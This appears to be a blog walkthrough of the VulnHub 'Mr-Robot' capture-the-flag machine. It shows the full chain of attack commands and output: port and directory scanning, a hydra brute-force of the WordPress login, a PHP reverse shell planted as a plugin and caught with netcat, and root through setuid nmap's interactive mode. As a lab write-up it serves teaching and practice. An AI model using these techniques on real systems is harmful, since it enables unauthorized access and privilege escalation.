Mr-Robot
It’s time for another CTF writeup, this time Mr-Robot by Jason. I solved this one quite a while ago, but not until now I decided to clean up my walkthrough notes, make a decent writeup and post it here.
From the description:
Based on the show, Mr. Robot. This VM has three keys hidden in different locations. Your goal is to find all three. Each key is progressively difficult to find. The VM isn’t too difficult. There isn’t any advanced exploitation or reverse engineering. The level is considered beginner-intermediate.
It seems appropiate, so let’s go for it, shall we?
Web server
First things first, let’s discover and scan the VM in search of exposed services to see what we can play with:
root@kali:~# nmap -A -p1-65535 192.168.56.103
Starting Nmap 7.01 ( https://nmap.org ) at 2016-08-01 19:28 CEST
Nmap scan report for 192.168.56.103
Host is up (0.00022s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after: 2025-09-13T10:45:03
MAC Address: 08:00:27:87:27:A8 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.10 - 3.19
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 0.22 ms 192.168.56.103
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 119.08 seconds
The web server at 80
and 443
shows the official Mr. Robot promotional website. As it’s pretty big and seems pretty much the same as the real thing, we keep searching for the moment.
Let’s try /robots.txt
.
User-agent: *
fsocity.dic
key-1-of-3.txt
Oh, that seems interesting. We can proceed to obtain our first flag:
wget http://192.168.56.103/fsocity.dic -o fsocity.dic
wget http://192.168.56.103/key-1-of-3.txt -o key-1-of-3.txt
OK, great, but what now? Since exploring the web server manually seems like a bit of a pain, we can try with a fuzzer and cross our fingers:
root@kali:~/vulnhub/mr_robot# dirb http://192.168.56.103
This reveals a /0/ directory, which is a wonderful WordPress! Time to run wpscan
:
root@kali:~# wpscan -u http://192.168.56.103/0/
It only finds two XSS vulnerabilities which won’t help us to get in…
Meanwhile, our fuzzer, which is still running, finds a nice login page at /wp-login
.
After some basic tries (admin/admin
, user/user
, etc), a somewhat strange error message appears when trying the user elliot
(obvious choice given the VM theme):
ERROR: The password you entered for the username elliot is incorrect. Lost your password?
Easy user enumeration, indeed! ;-) But we got our user, and we got a dictionary. Time to wake the Hydra.
hydra -l elliot -P fsocity.dic 192.168.56.103 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&testcookie=1:ERROR:H=Cookie\: s_cc=true; s_fid=648F0BAE8E7E6EDD-276B7EA6AFF87532; s_nr=1469962865654; s_sq=%5B%5BB%5D%5D; wordpress_test_cookie=WP+Cookie+check"
So we got our fuzzer and our hydra running… What else can we do?
Peeking on some of the dirb
results, we find this license
page, which says:
what you do just pull code from Rapid9 or some s@#% since when did you become a script kitty?
At this point, this seems just a taunt so we could pretty much ignore it for the moment (after acknowledging, of course, that it’s a quote from Mr. Robot). But as hydra
is taking forever and we can’t find much more interesting things in the dirb
results, we have no choice but to come back and give a second look. And, oh surprise, it tourns out we hadn’t scrolled down in the page… There’s more text in there:
do you want a password or something?
ZWxsaW90OkVSMjgtMDY1Mgo=
Damn! I have to admit I got trolled by this simple scrolling trick. Shame on me. But w/e, that’s a Base64 encoded string for sure, so we can proceed to decode it:
root@kali:~# echo "ZWxsaW90OkVSMjgtMDY1Mgo=" | base64 -d
elliot:ER28-0652
Are these the precious credentials we are painly trying to find by brute force? After entering them in the WordPress login page, the admin panel appears before our eyes.
Oh, well. If we had started here…
Low-privileged shell
Now we have administrative access, we can go ahead and upload a pretty php shell into any of the plugins that are installed on the site. For the sake of simplicity, let’s just use the good oldphp-reverse-shell
that comes with Kali. So after setting the listener, and activating the ‘modified’ plugin, we are all set:
root@kali:~# nc -lvvp 443
listening on [any] 443 ...
192.168.56.103: inverse host lookup failed: Unknown host
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.103] 39860
Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
20:22:52 up 42 min, 0 users, load average: 1.65, 1.66, 1.54
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can't access tty; job control turned off
$
Sweet! Time to work on a more acceptable tty shell:
$ python -c 'import pty; pty.spawn("/bin/bash");'
daemon@linux:/$
And let’s start peeking around. A quick look to /etc/passwd
file reveals one interesting user:
daemon@linux:/$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
ftp:x:103:106:ftp daemon,,,:/srv/ftp:/bin/false
bitnamiftp:x:1000:1000::/opt/bitnami/apps:/bin/bitnami_ftp_false
mysql:x:1001:1001::/home/mysql:
varnish:x:999:999::/home/varnish:
robot:x:1002:1002::/home/robot:
So robot
is our man (or, you know, robot). The next logical step is to check his/her/its home directory:
daemon@linux:/$ cd /home/robot
cd /home/robot
daemon@linux:/home/robot$ ls -lah
ls -lah
total 16K
drwxr-xr-x 2 root root 4.0K Nov 13 2015 .
drwxr-xr-x 3 root root 4.0K Nov 13 2015 ..
-r-------- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5
That’s our second key! And also what seems to be a RAW-MD5 encoded password hash. The obvious choice seems running john
straight away, but it’s always a good shot to try and google the hash: it works more often than it should. And, indeed, the hash is known to be the following ultra super safe password:
abcdefghijklmnopqrstuvwxyz
SECURITY. But we are OK with it, now we can just su
into robot
:
daemon@linux:/home/robot$ su robot
su robot
Password: abcdefghijklmnopqrstuvwxyz
robot@linux:~$
Nice, we are near!
Robot
So we look for interesting files for a while. Normally, one would try to find some files with setuid
permissions and try to use them to get root. The usual trick to find such files works like a charm:
robot@linux:~$ find / -user root -perm -4000 2>/dev/null
find / -user root -perm -4000 2>/dev/null
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/pt_chown
Nothing interesting, right? …Right? Because having setuid
nmap
is completely normal, right? Well, for some reason, my brain decides it’s perfectly fine so I start searching for other ways to reach root. After frustrating myself for a while, I decide to go back over my steps (as you can see this is the second time I overlook a pretty obvious hint, but that’s me), and finally notice that nmap
shouldn’t be there.
But even then, why does it matter? How are we going to get root, by scanning the sh*t out of ourselves? Well, a probably better option is to Google a bit, and surprise! Some old versions of nmap
have a privesc
vulnerability which allow command execution. As @bonsaiviking said in a tweet:
nmap –script <(echo ‘os.execute(“/bin/sh”)’) # setuid nmap privesc. Older version? try nmap –interactive @pentestcli
What do we have to lose?
robot@linux:~$ nmap --interactive
nmap> !sh
# id
uid=1002(robot) gid=1002(robot) euid=0(rooot) groups=0(root),1002(robot)
Wow! That worked! As I process how cool that was, half of my brain is already getting the last key and carefully saving it along the others. That means challenge complete!
Big thanks to Jason for working on a VM themed after one of my favorite TV shows, and VulnHub for hosting it. See you in the next one!